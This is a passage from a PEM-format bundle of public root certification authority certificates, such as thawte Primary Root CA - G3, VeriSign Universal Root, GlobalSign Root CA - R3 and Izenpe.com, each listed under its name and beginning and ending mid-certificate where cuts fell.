IEcyMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEotWcgnuVnfFSeIf+iha/BebfowJPDQfGAFG6DAJS
LSKkQjnE/o/qycG+1E3/n3qe4rF8mq2nhglzh9HnmuN6papu+7qzcMBniKI11KOasf2twu8x+qi5
8/sIxpHR+ymVo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQU
mtgAMADna3+FGO6Lts6KDPgR4bswCgYIKoZIzj0EAwMDaQAwZgIxAN344FdHW6fmCsO99YCKlzUN
G4k8VIZ3KMqh9HneteY4sPBlcIx/AlTCv//YoT7ZzwIxAMSNlPzcU9LcnXgWHxUzI1NS41oxXZ3K
rr0TKUQNJ1uo52icEvdYPy5yAlejj6EULg==
-----END CERTIFICATE-----

thawte Primary Root CA - G3
===========================
-----BEGIN CERTIFICATE-----
MIIEKjCCAxKgAwIBAgIQYAGXt0an6rS0mtZLL/eQ+zANBgkqhkiG9w0BAQsFADCBrjELMAkGA1UE
BhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2
aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDggdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhv
cml6ZWQgdXNlIG9ubHkxJDAiBgNVBAMTG3RoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EgLSBHMzAeFw0w
ODA0MDIwMDAwMDBaFw0zNzEyMDEyMzU5NTlaMIGuMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMdGhh
d3RlLCBJbmMuMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMTgwNgYD
VQQLEy8oYykgMjAwOCB0aGF3dGUsIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTEkMCIG
A1UEAxMbdGhhd3RlIFByaW1hcnkgUm9vdCBDQSAtIEczMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAsr8nLPvb2FvdeHsbnndmgcs+vHyu86YnmjSjaDFxODNi5PNxZnmxqWWjpYvVj2At
P0LMqmsywCPLLEHd5N/8YZzic7IilRFDGF/Eth9XbAoFWCLINkw6fKXRz4aviKdEAhN0cXMKQlkC
+BsUa0Lfb1+6a4KinVvnSr0eAXLbS3ToO39/fR8EtCab4LRarEc9VbjXsCZSKAExQGbY2SS99irY
7CFJXJv2eul/VTV+lmuNk5Mny5K76qxAwJ/C+IDPXfRa3M50hqY+bAtTyr2SzhkGcuYMXDhpxwTW
vGzOW/b3aJzcJRVIiKHpqfiYnODz1TEoYRFsZ5aNOZnLwkUkOQIDAQABo0IwQDAPBgNVHRMBAf8E
BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUrWyqlGCc7eT/+j4KdCtjA/e2Wb8wDQYJ
KoZIhvcNAQELBQADggEBABpA2JVlrAmSicY59BDlqQ5mU1143vokkbvnRFHfxhY0Cu9qRFHqKweK
A3rD6z8KLFIWoCtDuSWQP3CpMyVtRRooOyfPqsMpQhvfO0zAMzRbQYi/aytlryjvsvXDqmbOe1bu
t8jLZ8HJnBoYuMTDSQPxYA5QzUbF83d597YV4Djbxy8ooAw/dyZ02SUS2jHaGh7cKUGRIjxpp7sC
8rZcJwOJ9Abqm+RyguOhCcHpABnTPtRwa7pxpqpYrvS76Wy274fMm7v/OeZWYdMKp8RcTGB7BXcm
er/YB1IsYvdwY9k5vG8cwnncdimvzsUsZAReiDZuMdRAGmI0Nj81Aa6sY6A=
-----END CERTIFICATE-----

GeoTrust Primary Certification Authority - G2
=============================================
-----BEGIN CERTIFICATE-----
MIICrjCCAjWgAwIBAgIQPLL0SAoA4v7rJDteYD7DazAKBggqhkjOPQQDAzCBmDELMAkGA1UEBhMC
VVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA3IEdlb1RydXN0IElu
Yy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFyeSBD
ZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMB4XDTA3MTEwNTAwMDAwMFoXDTM4MDExODIzNTk1
OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAoYykg
MjAwNyBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMTLUdl
b1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMjB2MBAGByqGSM49AgEG
BSuBBAAiA2IABBWx6P0DFUPlrOuHNxFi79KDNlJ9RVcLSo17VDs6bl8VAsBQps8lL33KSLjHUGMc
KiEIfJo22Av+0SbFWDEwKCXzXV2juLaltJLtbCyf691DiaI8S0iRHVDsJt/WYC69IaNCMEAwDwYD
VR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFBVfNVdRVfslsq0DafwBo/q+
EVXVMAoGCCqGSM49BAMDA2cAMGQCMGSWWaboCd6LuvpaiIjwH5HTRqjySkwCY/tsXzjbLkGTqQ7m
ndwxHLKgpxgceeHHNgIwOlavmnRs9vuD4DPTCF+hnMJbn0bWtsuRBmOiBuczrD6ogRLQy7rQkgu2
npaqBA+K
-----END CERTIFICATE-----

VeriSign Universal Root Certification Authority
===============================================
-----BEGIN CERTIFICATE-----
MIIEuTCCA6GgAwIBAgIQQBrEZCGzEyEDDrvkEhrFHTANBgkqhkiG9w0BAQsFADCBvTELMAkGA1UE
BhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBO
ZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwOCBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVk
IHVzZSBvbmx5MTgwNgYDVQQDEy9WZXJpU2lnbiBVbml2ZXJzYWwgUm9vdCBDZXJ0aWZpY2F0aW9u
IEF1dGhvcml0eTAeFw0wODA0MDIwMDAwMDBaFw0zNzEyMDEyMzU5NTlaMIG9MQswCQYDVQQGEwJV
UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv
cmsxOjA4BgNVBAsTMShjKSAyMDA4IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl
IG9ubHkxODA2BgNVBAMTL1ZlcmlTaWduIFVuaXZlcnNhbCBSb290IENlcnRpZmljYXRpb24gQXV0
aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAx2E3XrEBNNti1xWb/1hajCMj
1mCOkdeQmIN65lgZOIzF9uVkhbSicfvtvbnazU0AtMgtc6XHaXGVHzk8skQHnOgO+k1KxCHfKWGP
MiJhgsWHH26MfF8WIFFE0XBPV+rjHOPMee5Y2A7Cs0WTwCznmhcrewA3ekEzeOEz4vMQGn+HLL72
9fdC4uW/h2KJXwBL38Xd5HVEMkE6HnFuacsLdUYI0crSK5XQz/u5QGtkjFdN/BMReYTtXlT2NJ8I
AfMQJQYXStrxHXpma5hgZqTZ79IugvHw7wnqRMkVauIDbjPTrJ9VAMf2CGqUuV/c4DPxhGD5WycR
tPwW8rtWaoAljQIDAQABo4GyMIGvMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMG0G
CCsGAQUFBwEMBGEwX6FdoFswWTBXMFUWCWltYWdlL2dpZjAhMB8wBwYFKw4DAhoEFI/l0xqGrI2O
a8PPgGrUSBgsexkuMCUWI2h0dHA6Ly9sb2dvLnZlcmlzaWduLmNvbS92c2xvZ28uZ2lmMB0GA1Ud
DgQWBBS2d/ppSEefUxLVwuoHMnYH0ZcHGTANBgkqhkiG9w0BAQsFAAOCAQEASvj4sAPmLGd75JR3
Y8xuTPl9Dg3cyLk1uXBPY/ok+myDjEedO2Pzmvl2MpWRsXe8rJq+seQxIcaBlVZaDrHC1LGmWazx
Y8u4TB1ZkErvkBYoH1quEPuBUDgMbMzxPcP1Y+Oz4yHJJDnp/RVmRvQbEdBNc6N9Rvk97ahfYtTx
P/jgdFcrGJ2BtMQo2pSXpXDrrB2+BxHw1dvd5Yzw1TKwg+ZX4o+/vqGqvz0dtdQ46tewXDpPaj+P
wGZsY6rp2aQW9IHRlRQOfc2VNNnSj3BzgXucfr2YYdhFh5iQxeuGMMY1v/D/w1WIg0vvBZIGcfK4
mJO37M2CYfE45k+XmCpajQ==
-----END CERTIFICATE-----

VeriSign Class 3 Public Primary Certification Authority - G4
============================================================
-----BEGIN CERTIFICATE-----
MIIDhDCCAwqgAwIBAgIQL4D+I4wOIg9IZxIokYesszAKBggqhkjOPQQDAzCByjELMAkGA1UEBhMC
VVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3
b3JrMTowOAYDVQQLEzEoYykgMjAwNyBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVz
ZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmlj
YXRpb24gQXV0aG9yaXR5IC0gRzQwHhcNMDcxMTA1MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCByjEL
MAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBU
cnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNyBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRo
b3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5
IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzQwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAASnVnp8
Utpkmw4tXNherJI9/gHmGUo9FANL+mAnINmDiWn6VMaaGF5VKmTeBvaNSjutEDxlPZCIBIngMGGz
rl0Bp3vefLK+ymVhAIau2o970ImtTR1ZmkGxvEeA3J5iw/mjgbIwga8wDwYDVR0TAQH/BAUwAwEB
/zAOBgNVHQ8BAf8EBAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEw
HzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24u
Y29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFLMWkf3upm7ktS5Jj4d4gYDs5bG1MAoGCCqGSM49BAMD
A2gAMGUCMGYhDBgmYFo4e1ZC4Kf8NoRRkSAsdk1DPcQdhCPQrNZ8NQbOzWm9kA3bbEhCHQ6qQgIx
AJw9SDkjOVgaFRJZap7v1VmyHVIsmXHNxynfGyphe3HR3vPA5Q06Sqotp9iGKt0uEA==
-----END CERTIFICATE-----

NetLock Arany (Class Gold) Főtanúsítvány
========================================
-----BEGIN CERTIFICATE-----
MIIEFTCCAv2gAwIBAgIGSUEs5AAQMA0GCSqGSIb3DQEBCwUAMIGnMQswCQYDVQQGEwJIVTERMA8G
A1UEBwwIQnVkYXBlc3QxFTATBgNVBAoMDE5ldExvY2sgS2Z0LjE3MDUGA1UECwwuVGFuw7pzw610
dsOhbnlraWFkw7NrIChDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzKTE1MDMGA1UEAwwsTmV0TG9jayBB
cmFueSAoQ2xhc3MgR29sZCkgRsWRdGFuw7pzw610dsOhbnkwHhcNMDgxMjExMTUwODIxWhcNMjgx
MjA2MTUwODIxWjCBpzELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRUwEwYDVQQKDAxO
ZXRMb2NrIEtmdC4xNzA1BgNVBAsMLlRhbsO6c8OtdHbDoW55a2lhZMOzayAoQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcykxNTAzBgNVBAMMLE5ldExvY2sgQXJhbnkgKENsYXNzIEdvbGQpIEbFkXRhbsO6
c8OtdHbDoW55MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCRec75LbRTDofTjl5Bu
0jBFHjzuZ9lk4BqKf8owyoPjIMHj9DrTlF8afFttvzBPhCf2nx9JvMaZCpDyD/V/Q4Q3Y1GLeqVw
/HpYzY6b7cNGbIRwXdrzAZAj/E4wqX7hJ2Pn7WQ8oLjJM2P+FpD/sLj916jAwJRDC7bVWaaeVtAk
H3B5r9s5VA1lddkVQZQBr17s9o3x/61k/iCa11zr/qYfCGSji3ZVrR47KGAuhyXoqq8fxmRGILdw
fzzeSNuWU7c5d+Qa4scWhHaXWy+7GRWF+GmF9ZmnqfI0p6m2pgP8b4Y9VHx2BJtr+UBdADTHLpl1
neWIA6pN+APSQnbAGwIDAKiLo0UwQzASBgNVHRMBAf8ECDAGAQH/AgEEMA4GA1UdDwEB/wQEAwIB
BjAdBgNVHQ4EFgQUzPpnk/C2uNClwB7zU/2MU9+D15YwDQYJKoZIhvcNAQELBQADggEBAKt/7hwW
qZw8UQCgwBEIBaeZ5m8BiFRhbvG5GK1Krf6BQCOUL/t1fC8oS2IkgYIL9WHxHG64YTjrgfpioTta
YtOUZcTh5m2C+C8lcLIhJsFyUR+MLMOEkMNaj7rP9KdlpeuY0fsFskZ1FSNqb4VjMIDw1Z4fKRzC
bLBQWV2QWzuoDTDPv31/zvGdg73JRm4gpvlhUbohL3u+pRVjodSVh/GeufOJ8z2FuLjbvrW5Kfna
NwUASZQDhETnv0Mxz3WLJdH0pmT1kvarBes96aULNmLazAZfNou2XjG4Kvte9nHfRCaexOYNkbQu
dZWAUWpLMKawYqGT8ZvYzsRjdT9ZR7E=
-----END CERTIFICATE-----

Hongkong Post Root CA 1
=======================
-----BEGIN CERTIFICATE-----
MIIDMDCCAhigAwIBAgICA+gwDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCSEsxFjAUBgNVBAoT
DUhvbmdrb25nIFBvc3QxIDAeBgNVBAMTF0hvbmdrb25nIFBvc3QgUm9vdCBDQSAxMB4XDTAzMDUx
NTA1MTMxNFoXDTIzMDUxNTA0NTIyOVowRzELMAkGA1UEBhMCSEsxFjAUBgNVBAoTDUhvbmdrb25n
IFBvc3QxIDAeBgNVBAMTF0hvbmdrb25nIFBvc3QgUm9vdCBDQSAxMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEArP84tulmAknjorThkPlAj3n54r15/gK97iSSHSL22oVyaf7XPwnU3ZG1
ApzQjVrhVcNQhrkpJsLj2aDxaQMoIIBFIi1WpztUlVYiWR8o3x8gPW2iNr4joLFutbEnPzlTCeqr
auh0ssJlXI6/fMN4hM2eFvz1Lk8gKgifd/PFHsSaUmYeSF7jEAaPIpjhZY4bXSNmO7ilMlHIhqqh
qZ5/dpTCpmy3QfDVyAY45tQM4vM7TG1QjMSDJ8EThFk9nnV0ttgCXjqQesBCNnLsak3c78QA3xMY
V18meMjWCnl3v/evt3a5pQuEF10Q6m/hq5URX208o1xNg1vysxmKgIsLhwIDAQABoyYwJDASBgNV
HRMBAf8ECDAGAQH/AgEDMA4GA1UdDwEB/wQEAwIBxjANBgkqhkiG9w0BAQUFAAOCAQEADkbVPK7i
h9legYsCmEEIjEy82tvuJxuC52pF7BaLT4Wg87JwvVqWuspube5Gi27nKi6Wsxkz67SfqLI37pio
l7Yutmcn1KZJ/RyTZXaeQi/cImyaT/JaFTmxcdcrUehtHJjA2Sr0oYJ71clBoiMBdDhViw+5Lmei
IAQ32pwL0xch4I+XeTRvhEgCIDMb5jREn5Fw9IBehEPCKdJsEhTkYY2sEJCehFC78JZvRZ+K88ps
T/oROhUVRsPNH4NbLUES7VBnQRM9IauUiqpOfMGx+6fWtScvl6tu4B3i0RwsH0Ti/L6RoZz71ilT
c4afU9hDDl3WY4JxHYB0yvbiAmvZWg==
-----END CERTIFICATE-----

SecureSign RootCA11
===================
-----BEGIN CERTIFICATE-----
MIIDbTCCAlWgAwIBAgIBATANBgkqhkiG9w0BAQUFADBYMQswCQYDVQQGEwJKUDErMCkGA1UEChMi
SmFwYW4gQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcywgSW5jLjEcMBoGA1UEAxMTU2VjdXJlU2lnbiBS
b290Q0ExMTAeFw0wOTA0MDgwNDU2NDdaFw0yOTA0MDgwNDU2NDdaMFgxCzAJBgNVBAYTAkpQMSsw
KQYDVQQKEyJKYXBhbiBDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzLCBJbmMuMRwwGgYDVQQDExNTZWN1
cmVTaWduIFJvb3RDQTExMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA/XeqpRyQBTvL
TJszi1oURaTnkBbR31fSIRCkF/3frNYfp+TbfPfs37gD2pRY/V1yfIw/XwFndBWW4wI8h9uuywGO
wvNmxoVF9ALGOrVisq/6nL+k5tSAMJjzDbaTj6nU2DbysPyKyiyhFTOVMdrAG/LuYpmGYz+/3ZMq
g6h2uRMft85OQoWPIucuGvKVCbIFtUROd6EgvanyTgp9UK31BQ1FT0Zx/Sg+U/sE2C3XZR1KG/rP
O7AxmjVuyIsG0wCR8pQIZUyxNAYAeoni8McDWc/V1uinMrPmmECGxc0nEovMe863ETxiYAcjPitA
bpSACW22s293bzUIUPsCh8U+iQIDAQABo0IwQDAdBgNVHQ4EFgQUW/hNT7KlhtQ60vFjmqC+CfZX
t94wDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAKCh
OBZmLqdWHyGcBvod7bkixTgm2E5P7KN/ed5GIaGHd48HCJqypMWvDzKYC3xmKbabfSVSSUOrTC4r
bnpwrxYO4wJs+0LmGJ1F2FXI6Dvd5+H0LgscNFxsWEr7jIhQX5Ucv+2rIrVls4W6ng+4reV6G4pQ
Oh29Dbx7VFALuUKvVaAYga1lme++5Jy/xIWrQbJUb9wlze144o4MjQlJ3WN7WmmWAiGovVJZ6X01
y8hSyn+B/tlr0/cR7SXf+Of5pPpyl4RTDaXQMhhRdlkUbA/r7F+AjHVDg8OFmP9Mni0N5HeDk061
lgeLKBObjBmNQSdJQO7e5iNEOdyhIta6A/I=
-----END CERTIFICATE-----

Microsec e-Szigno Root CA 2009
==============================
-----BEGIN CERTIFICATE-----
MIIECjCCAvKgAwIBAgIJAMJ+QwRORz8ZMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYDVQQGEwJIVTER
MA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jv
c2VjIGUtU3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5o
dTAeFw0wOTA2MTYxMTMwMThaFw0yOTEyMzAxMTMwMThaMIGCMQswCQYDVQQGEwJIVTERMA8GA1UE
BwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUt
U3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5odTCCASIw
DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOn4j/NjrdqG2KfgQvvPkd6mJviZpWNwrZuuyjNA
fW2WbqEORO7hE52UQlKavXWFdCyoDh2Tthi3jCyoz/tccbna7P7ofo/kLx2yqHWH2Leh5TvPmUpG
0IMZfcChEhyVbUr02MelTTMuhTlAdX4UfIASmFDHQWe4oIBhVKZsTh/gnQ4H6cm6M+f+wFUoLAKA
pxn1ntxVUwOXewdI/5n7N4okxFnMUBBjjqqpGrCEGob5X7uxUG6k0QrM1XF+H6cbfPVTbiJfyyvm
1HxdrtbCxkzlBQHZ7Vf8wSN5/PrIJIOV87VqUQHQd9bpEqH5GoP7ghu5sJf0dgYzQ0mg/wu1+rUC
AwEAAaOBgDB+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTLD8bf
QkPMPcu1SCOhGnqmKrs0aDAfBgNVHSMEGDAWgBTLD8bfQkPMPcu1SCOhGnqmKrs0aDAbBgNVHREE
FDASgRBpbmZvQGUtc3ppZ25vLmh1MA0GCSqGSIb3DQEBCwUAA4IBAQDJ0Q5eLtXMs3w+y/w9/w0o
lZMEyL/azXm4Q5DwpL7v8u8hmLzU1F0G9u5C7DBsoKqpyvGvivo/C3NqPuouQH4frlRheesuCDfX
I/OMn74dseGkddug4lQUsbocKaQY9hK6ohQU4zE1yED/t+AFdlfBHFny+L/k7SViXITwfn4fs775
tyERzAMBVnCnEJIeGzSBHq2cGsMEPO0CYdYeBvNfOofyK/FFh+U9rNHHV4S9a67c2Pm2G2JwCz02
yULyMtd6YebS2z3PyKnJm9zbWETXbzivf3jTo60adbocwTZ8jx5tHMN1Rq41Bab2XD0h7lbwyYIi
LXpUq3DDfSJlgnCW
-----END CERTIFICATE-----

GlobalSign Root CA - R3
=======================
-----BEGIN CERTIFICATE-----
MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4GA1UECxMXR2xv
YmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2Jh
bFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxT
aWduIFJvb3QgQ0EgLSBSMzETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2ln
bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWt
iHL8RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsTgHeMCOFJ
0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmmKPZpO/bLyCiR5Z2KYVc3
rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zdQQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjl
OCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZXriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2
xmmFghcCAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE
FI/wS3+oLkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZURUm7
lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMpjjM5RcOO5LlXbKr8
EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK6fBdRoyV3XpYKBovHd7NADdBj+1E
bddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQXmcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18
YIvDQVETI53O9zJrlAGomecsMx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7r
kpeDMdmztcpHWD9f
-----END CERTIFICATE-----

Autoridad de Certificacion Firmaprofesional CIF A62634068
=========================================================
-----BEGIN CERTIFICATE-----
MIIGFDCCA/ygAwIBAgIIU+w77vuySF8wDQYJKoZIhvcNAQEFBQAwUTELMAkGA1UEBhMCRVMxQjBA
BgNVBAMMOUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1hcHJvZmVzaW9uYWwgQ0lGIEE2
MjYzNDA2ODAeFw0wOTA1MjAwODM4MTVaFw0zMDEyMzEwODM4MTVaMFExCzAJBgNVBAYTAkVTMUIw
QAYDVQQDDDlBdXRvcmlkYWQgZGUgQ2VydGlmaWNhY2lvbiBGaXJtYXByb2Zlc2lvbmFsIENJRiBB
NjI2MzQwNjgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKlmuO6vj78aI14H9M2uDD
Utd9thDIAl6zQyrET2qyyhxdKJp4ERppWVevtSBC5IsP5t9bpgOSL/UR5GLXMnE42QQMcas9UX4P
B99jBVzpv5RvwSmCwLTaUbDBPLutN0pcyvFLNg4kq7/DhHf9qFD0sefGL9ItWY16Ck6WaVICqjaY
7Pz6FIMMNx/Jkjd/14Et5cS54D40/mf0PmbR0/RAz15iNA9wBj4gGFrO93IbJWyTdBSTo3OxDqqH
ECNZXyAFGUftaI6SEspd/NYrspI8IM/hX68gvqB2f3bl7BqGYTM+53u0P6APjqK5am+5hyZvQWyI
plD9amML9ZMWGxmPsu2bm8mQ9QEM3xk9Dz44I8kvjwzRAv4bVdZO0I08r0+k8/6vKtMFnXkIoctX
MbScyJCyZ/QYFpM6/EfY0XiWMR+6KwxfXZmtY4laJCB22N/9q06mIqqdXuYnin1oKaPnirjaEbsX
LZmdEyRG98Xi2J+Of8ePdG1asuhy9azuJBCtLxTa/y2aRnFHvkLfuwHb9H/TKI8xWVvTyQKmtFLK
bpf7Q8UIJm+K9Lv9nyiqDdVF8xM6HdjAeI9BZzwelGSuewvF6NkBiDkal4ZkQdU7hwxu+g/GvUgU
vzlN1J5Bto+WHWOWk9mVBngxaJ43BjuAiUVhOSPHG0SjFeUc+JIwuwIDAQABo4HvMIHsMBIGA1Ud
EwEB/wQIMAYBAf8CAQEwDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBRlzeurNR4APn7VdMActHNH
DhpkLzCBpgYDVR0gBIGeMIGbMIGYBgRVHSAAMIGPMC8GCCsGAQUFBwIBFiNodHRwOi8vd3d3LmZp
cm1hcHJvZmVzaW9uYWwuY29tL2NwczBcBggrBgEFBQcCAjBQHk4AUABhAHMAZQBvACAAZABlACAA
bABhACAAQgBvAG4AYQBuAG8AdgBhACAANAA3ACAAQgBhAHIAYwBlAGwAbwBuAGEAIAAwADgAMAAx
ADcwDQYJKoZIhvcNAQEFBQADggIBABd9oPm03cXF661LJLWhAqvdpYhKsg9VSytXjDvlMd3+xDLx
51tkljYyGOylMnfX40S2wBEqgLk9am58m9Ot/MPWo+ZkKXzR4Tgegiv/J2Wv+xYVxC5xhOW1//qk
R71kMrv2JYSiJ0L1ILDCExARzRAVukKQKtJE4ZYm6zFIEv0q2skGz3QeqUvVhyj5eTSSPi5E6PaP
T481PyWzOdxjKpBrIF/EUhJOlywqrJ2X3kjyo2bbwtKDlaZmp54lD+kLM5FlClrD2VQS3a/DTg4f
Jl4N3LON7NWBcN7STyQF82xO9UxJZo3R/9ILJUFI/lGExkKvgATP0H5kSeTy36LssUzAKh3ntLFl
osS88Zj0qnAHY7S42jtM+kAiMFsRpvAFDsYCA0irhpuF3dvd6qJ2gHN99ZwExEWN57kci57q13XR
crHedUTnQn3iV2t93Jm8PYMo6oCTjcVMZcFwgbg4/EMxsvYDNEeyrPsiBsse3RdHHF9mudMaotoR
saS8I8nkvof/uZS2+F0gStRf571oe2XyFR7SOqkt6dhrJKyXWERHrVkY8SFlcN7ONGCoQPHzPKTD
KCOM/iczQ0CgFzzr6juwcqajuUpLXhZI9LK8yIySxZ2frHI2vDSANGupi5LAuBft7HZT9SQBjLMi
6Et8Vcad+qMUu2WFbm5PEn4KPJ2V
-----END CERTIFICATE-----

Izenpe.com
==========
-----BEGIN CERTIFICATE-----
MIIF8TCCA9mgAwIBAgIQALC3WhZIX7/hy/WL1xnmfTANBgkqhkiG9w0BAQsFADA4MQswCQYDVQQG
EwJFUzEUMBIGA1UECgwLSVpFTlBFIFMuQS4xEzARBgNVBAMMCkl6ZW5wZS5jb20wHhcNMDcxMjEz
MTMwODI4WhcNMzcxMjEzMDgyNzI1WjA4MQswCQYDVQQGEwJFUzEUMBIGA1UECgwLSVpFTlBFIFMu
QS4xEzARBgNVBAMMCkl6ZW5wZS5jb20wggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDJ
03rKDx6sp4boFmVqscIbRTJxldn+EFvMr+eleQGPicPK8lVx93e+d5TzcqQsRNiekpsUOqHnJJAK
ClaOxdgmlOHZSOEtPtoKct2jmRXagaKH9HtuJneJWK3W6wyyQXpzbm3benhB6QiIEn6HLmYRY2xU
+zydcsC8Lv/Ct90NduM61/e0aL6i9eOBbsFGb12N4E3GVFWJGjMxCrFXuaOKmMPsOzTFlUFpfnXC
PCDFYbpRR6AgkJOhkEvzTnyFRVSa0QUmQbC1TR0zvsQDyCV8wXDbO/QJLVQnSKwv4cSsPsjLkkxT
OTcj7NMB+eAJRE1NZMDhDVqHIrytG6P+JrUV86f8hBnp7KGItERphIPzidF0BqnMC9bC3ieFUCbK
F7jJeodWLBoBHmy+E60QrLUk9TiRodZL2vG70t5HtfG8gfZZa88ZU+mNFctKy6lvROUbQc/hhqfK
0GqfvEyNBjNaooXlkDWgYlwWTvDjovoDGrQscbNYLN57C9saD+veIR8GdwYDsMnvmfzAuU8Lhij+
0rnq49qlw0dpEuDb8PYZi+17cNcC1u2HGCgsBCRMd+RIihrGO5rUD8r6ddIBQFqNeb+Lz0vPqhbB
